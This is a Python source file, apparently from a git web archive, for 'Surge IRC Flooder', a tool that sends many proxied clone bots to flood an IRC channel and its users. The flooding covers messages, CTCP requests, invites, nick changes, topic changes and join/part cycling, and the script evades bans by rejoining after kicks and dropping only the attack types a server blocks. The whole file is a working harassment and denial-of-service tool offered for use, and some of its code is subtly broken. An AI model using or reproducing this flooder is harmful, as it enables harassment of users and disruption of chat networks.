archive- Random tools & helpful resources for IRC |
git clone git://git.acid.vegas/archive.git |
Log | Files | Refs | Archive |
surge.py (12214B)
1 #!/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 # Surge IRC Flooder - Developed by acidvegas in Python (https://acid.vegas/random-irc) 4 # surge.py 5 6 ''' 7 - Action 8 - Color 9 - CTCP Channel / CTCP Nick *(PING, TIME, VERSION)* 10 - Cycle *(Join/Part)* 11 - Hilight 12 - Invite 13 - Message / Private Message 14 - Nick 15 - Notice 16 - Topic 17 - Nick Registration (Channel & VHOST also if successful) 18 19 The script uses IRC numeric detection and will stop a specific flood type if it becomes blocked. 20 If the channel becomes locked out due to a ban or specific mode, it will continue to flood the nicklist. 21 ''' 22 23 import argparse 24 import concurrent.futures 25 import os 26 import random 27 import ssl 28 import socket 29 import string 30 import sys 31 import threading 32 import time 33 34 class config: 35 class connection: 36 server = 'irc.network.com' 37 port = 6667 38 ipv6 = False 39 ssl = False 40 password = None 41 channel = '#channel' 42 key = None 43 44 class attacks: 45 channel = ['action','color','ctcp','msg','nick','notice','part','topic'] 46 message = 'SURGE SURGE SURGE SURGE SURGE' 47 nicklist = ['ctcp','invite','notice','private'] 48 49 class throttle: 50 attack = 3 51 concurrency = 3 52 threads = 100 53 rejoin = 3 54 timeout = 15 55 56 # Bad IRC Numerics 57 bad_numerics = { 58 '465' : 'ERR_YOUREBANNEDCREEP', 59 '471' : 'ERR_CHANNELISFULL', 60 '473' : 'ERR_INVITEONLYCHAN', 61 '474' : 'ERR_BANNEDFROMCHAN', 62 '475' : 'ERR_BADCHANNELKEY', 63 '477' : 'ERR_NEEDREGGEDNICK', 64 '519' : 'ERR_TOOMANYUSERS' 65 } 66 67 def alert(msg): 68 print(f'{get_time()} | [+] - {msg}') 69 70 def debug(msg): 71 print(f'{get_time()} | [~] - {msg}') 72 73 def error(msg, reason=None): 74 if reason: 75 print(f'{get_time()} | [!] - {msg} ({reason})') 76 else: 77 print(f'{get_time()} | [!] - {msg}') 78 79 def error_exit(msg): 80 raise SystemExit(f'{get_time()} | [!] - {msg}') 81 82 def get_time(): 83 return time.strftime('%I:%M:%S') 84 85 def keep_alive(): 86 try: 87 while True: 88 input('') 89 except KeyboardInterrupt: 90 sys.exit() 91 92 def random_int(min, max): 93 return random.randint(min, max) 94 95 def random_str(size): 96 return ''.join(random.choice(string.ascii_letters) for _ in range(size)) 97 98 class clone: 99 def __init__(self, data_line): 100 self.data_line = data_line 101 self.invite_channel = '#' + random_str(random_int(4,7)) 102 self.invite_count = 0 103 self.nickname = random_str(random_int(4,7)) 104 self.nicklist = [] 105 self.sock = None 106 107 def run(self): 108 self.connect() 109 110 def action(self, chan, msg): 111 self.sendmsg(chan, f'\x01ACTION {msg}\x01') 112 113 def attack_channel(self): 114 while True: 115 if not config.attacks.channel: 116 error('Channel attack list is empty.') 117 break 118 else: 119 option = random.choice(config.attacks.channel) 120 try: 121 if option in ('nick','part','topic'): 122 if option == 'nick': 123 self.nickname = random_str(random_int(4,7)) 124 self.nick(self.nickname) 125 elif option == 'part': 126 self.part(config.connection.channel, config.attacks.message) 127 time.sleep(config.throttle.rejoin) 128 self.join_channel(config.connection.channel, config.connection.key) 129 elif option == 'topic': 130 self.topic(config.connection.channel, '{0} {1} {2}'.format(random_str(random_int(5,10)), config.attacks.message, random_str(random_int(5, 10)))) 131 else: 132 if self.nicklist: 133 message = self.rainbow('{0} {1} {2}'.format(' '.join(random.sample(self.nicklist, 3)), config.attacks.message, ' '.join(random.sample(self.nicklist, 3)))) 134 else: 135 message = self.rainbow(config.attacks.message) 136 if option == 'action': 137 self.action(config.connection.channel, message) 138 elif option == 'ctcp': 139 self.ctcp(config.connection.channel, message) 140 elif option == 'msg': 141 self.sendmsg(config.connection.channel, message) 142 elif option == 'notice': 143 self.notice(config.connection.channel, message) 144 time.sleep(config.throttle.attack) 145 except: 146 break 147 148 def attack_nicklist(self): 149 while True: 150 if not self.nicklist: 151 error('Nicklist attack list is empty.') 152 break 153 else: 154 try: 155 for nick in self.nicklist: 156 option = random.choice(config.attacks.nicklist) 157 if option == 'ctcp': 158 self.ctcp(nick, random.choice(('PING','TIME','VERSION'))) 159 elif option == 'invite': 160 self.invite(nick, self.invite_channel) 161 self.invite_count += 1 162 if self.invite_count >= 10: 163 self.part(self.invite_channel) 164 self.invite_channel = '#' + random_str(random_int(5,8)) 165 self.join(self.invite_channel) 166 elif option == 'notice': 167 self.notice(nick, config.attacks.message) 168 elif option == 'private': 169 self.sendmsg(nick, self.rainbow(config.attacks.message)) 170 time.sleep(config.throttle.attack) 171 except: 172 break 173 174 def connect(self): 175 try: 176 self.create_socket() 177 self.sock.connect((config.connection.server, config.connection.port)) 178 self.register() 179 except socket.error: 180 self.sock.close() 181 else: 182 self.listen() 183 184 def create_socket(self): 185 family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET 186 if pargs.proxy: 187 proxy_server, proxy_port = self.data_line.split(':') 188 self.sock = socks.socksocket(family, socket.SOCK_STREAM) 189 self.sock.setblocking(0) 190 self.sock.settimeout(config.throttle.timeout) 191 self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port)) 192 elif pargs.vhost: 193 self.sock = socket.socket(family, socket.SOCK_STREAM) 194 self.sock.bind((self.data_line, 0)) 195 if config.connection.ssl: 196 self.sock = ssl.wrap_socket(self.sock) 197 198 def ctcp(self, target, data): 199 self.sendmsg(target, f'\001{data}\001') 200 201 def event_connect(self): 202 alert(f'Successful connection. ({self.proxy_server}:{self.proxy_port})') 203 self.join_channel(config.connection.channel, config.connection.key) 204 self.join_channel(self.invite_channel) 205 206 def event_end_of_names(self): 207 threading.Thread(target=self.attack_channel).start() 208 threading.Thread(target=self.attack_nicklist).start() 209 210 def event_kick(self, chan, kicked): 211 if kicked == self.nickname: 212 time.sleep(config.throttle.rejoin) 213 self.join_channel(config.connection.channel, config.connection.key) 214 else: 215 if nick in self.nicklist: 216 self.nicklist.remove(nick) 217 218 def event_names(self, chan, names): 219 for name in names: 220 if name[:1] in '~!@%&+:': 221 name = name[1:] 222 if name != self.nickname and name not in self.nicklist: 223 self.nicklist.append(name) 224 225 def event_nick_in_use(self): 226 self.nickname = random_str(random_int(5,8)) 227 self.nick(self.nickname) 228 229 def event_quit(self, nick): 230 if nick in self.nicklist: 231 self.nicklist.remove(nick) 232 233 def handle_events(self, data): 234 args = data.split() 235 if args[0] == 'PING': 236 self.raw('PONG ' + args[1][1:]) 237 elif args[1] == '001': 238 self.event_connect() 239 elif args[1] == '353': 240 chan = args[4] 241 if ' :' in data: 242 names = data.split(' :')[1].split() 243 elif ' *' in data: 244 names = data.split(' *')[1].split() 245 elif ' =' in data: 246 names = data.split(' =')[1].split() 247 else: 248 names = data.split(chan)[1].split() 249 self.event_names(chan, names) 250 elif args[1] == '366': 251 self.event_end_of_names() 252 elif args[1] == '401': 253 name = args[3] 254 if name in self.nicklist: 255 self.nicklist.remove(name) 256 elif args[1] == '404': 257 if 'ACTIONs are not permitted' in data and 'action' in config.attacks.channel: 258 config.attacks.channel.remove('action') 259 elif 'Color is not permitted' in data and 'color' in config.attacks.channel: 260 config.attacks.channel.remove('color') 261 elif 'CTCPs are not permitted' in data and 'ctcp' in config.attacks.channel: 262 config.attacks.channel.remove('ctcp') 263 elif 'You need voice' in data or 'You must have a registered nick' in data: 264 for attack in ('action','ctcp','msg','notice','topic'): 265 if attack in config.attacks.channel: 266 config.attacks.channel.remove(attack) 267 elif 'NOTICEs are not permitted' in data and 'notice' in config.attacks.channel: 268 self.attacks_channel.remove('notice') 269 elif args[1] == '433': 270 self.event_nick_in_use() 271 elif args[1] == '447': 272 if 'nick' in config.attacks.channel: 273 config.attacks.channel.remove('nick') 274 elif args[1] == '482': 275 if 'topic' in config.attacks.channel: 276 config.attacks.channel.remove('topic') 277 elif args[1] == '492': 278 if 'ctcp' in config.attacks.nicklist: 279 config.attacks.nicklist.remove('ctcp') 280 elif args[1] == '499': 281 if 'topic' in config.attacks.channel: 282 config.attacks.channel.remove('topic') 283 elif args[1] == '518': 284 if 'invite' in config.attacks.nicklist: 285 config.attacks.nicklist.remove('invite') 286 elif args[1] in bad_numerics: 287 error('Flood protection has been enabled!', bad_numerics[args[1]]) 288 self.sock.close() 289 elif args[1] == 'KICK': 290 chan = args[2] 291 kicked = args[3] 292 self.event_kick(chan, kicked) 293 elif args[1] == 'QUIT': 294 nick = args[0].split('!')[0][1:] 295 self.event_quit(nick) 296 297 def invite(self, nick, chan): 298 self.raw(f'INVITE {nick} {chan}') 299 300 def join_channel(self, chan, key=None): 301 if key: 302 self.raw(f'JOIN {chan} {key}') 303 else: 304 self.raw('JOIN ' + chan) 305 306 def listen(self): 307 while True: 308 try: 309 data = self.sock.recv(1024).decode('utf-8') 310 for line in (line for line in data.split('\r\n') if line): 311 if len(line.split()) >= 2: 312 self.handle_events(line) 313 except (UnicodeDecodeError,UnicodeEncodeError): 314 pass 315 except: 316 break 317 self.sock.close() 318 319 def nick(self, nick): 320 self.raw('NICK ' + nick) 321 322 def notice(self, target, msg): 323 self.raw(f'NOTICE {target} :{msg}') 324 325 def part(self, chan, msg): 326 self.raw(f'PART {chan} :{msg}') 327 328 def rainbow(self, msg): 329 if 'color' in config.attacks.channel: 330 message = '' 331 for i in range(random_int(10,20)): 332 message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄') 333 message += '\x03{0:0>2} {1} '.format(random_int(2,13), msg) 334 for i in range(random_int(10,20)): 335 message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄') 336 else: 337 message = '{0} {1} {2}'.format(random_str(random_int(10,20)), msg, random_str(random_int(10,20))) 338 return message 339 340 def raw(self, msg): 341 self.sock.send(bytes(msg + '\r\n', 'utf-8')) 342 343 def register(self): 344 if config.connection.password: 345 self.raw('PASS ' + config.connection.password) 346 self.raw('USER {0} 0 * :{1}'.format(random_str(random_int(5,8)), random_str(random_int(5,8)))) 347 self.nick(self.nickname) 348 349 def sendmsg(self, target, msg): 350 self.raw(f'PRIVMSG {target} :{msg}') 351 352 def topic(self, chan, text): 353 self.raw(f'TOPIC {chan} :{text}') 354 355 def unicode(self, msg): 356 start = 0x1000 357 end = 0x3000 358 message = '' 359 for i in range(random.randint(100,150)): 360 message = message + chr(random.randint(start, end)) 361 message = message + msg 362 for i in range(random.randint(100,150)): 363 message = message + chr(random.randint(start, end)) 364 365 366 # Main 367 print('#'*56) 368 print('#{0}#'.format(''.center(54))) 369 print('#{0}#'.format('Surge IRC Flooder'.center(54))) 370 print('#{0}#'.format('Developed by acidvegas in Python'.center(54))) 371 print('#{0}#'.format('https://acid.vegas/trollbots'.center(54))) 372 print('#{0}#'.format(''.center(54))) 373 print('#'*56) 374 parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]') 375 parser.add_argument('input', help='file to scan') 376 parser.add_argument('-p', '--proxy', help='proxy list', action='store_true') 377 parser.add_argument('-v', '--vhost', help='vhost list', action='store_true') 378 pargs = parser.parse_args() 379 if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost): 380 error_exit('Invalid arguments.') 381 if pargs.proxy: 382 try: 383 import socks 384 except ImportError: 385 error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)') 386 if not os.path.isfile(pargs.input): 387 error_exit('No such input file.') 388 data_lines = [line.strip() for line in open(pargs.input).readlines() if line] 389 debug(f'Loaded {len(data_lines)} lines from file.') 390 random.shuffle(data_lines) 391 for i in range(config.throttle.concurrency): 392 with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor: 393 checks = {executor.submit(clone(line).connect): line for line in data_lines} 394 for future in concurrent.futures.as_completed(checks): 395 checks[future] 396 debug('Flooding is complete.')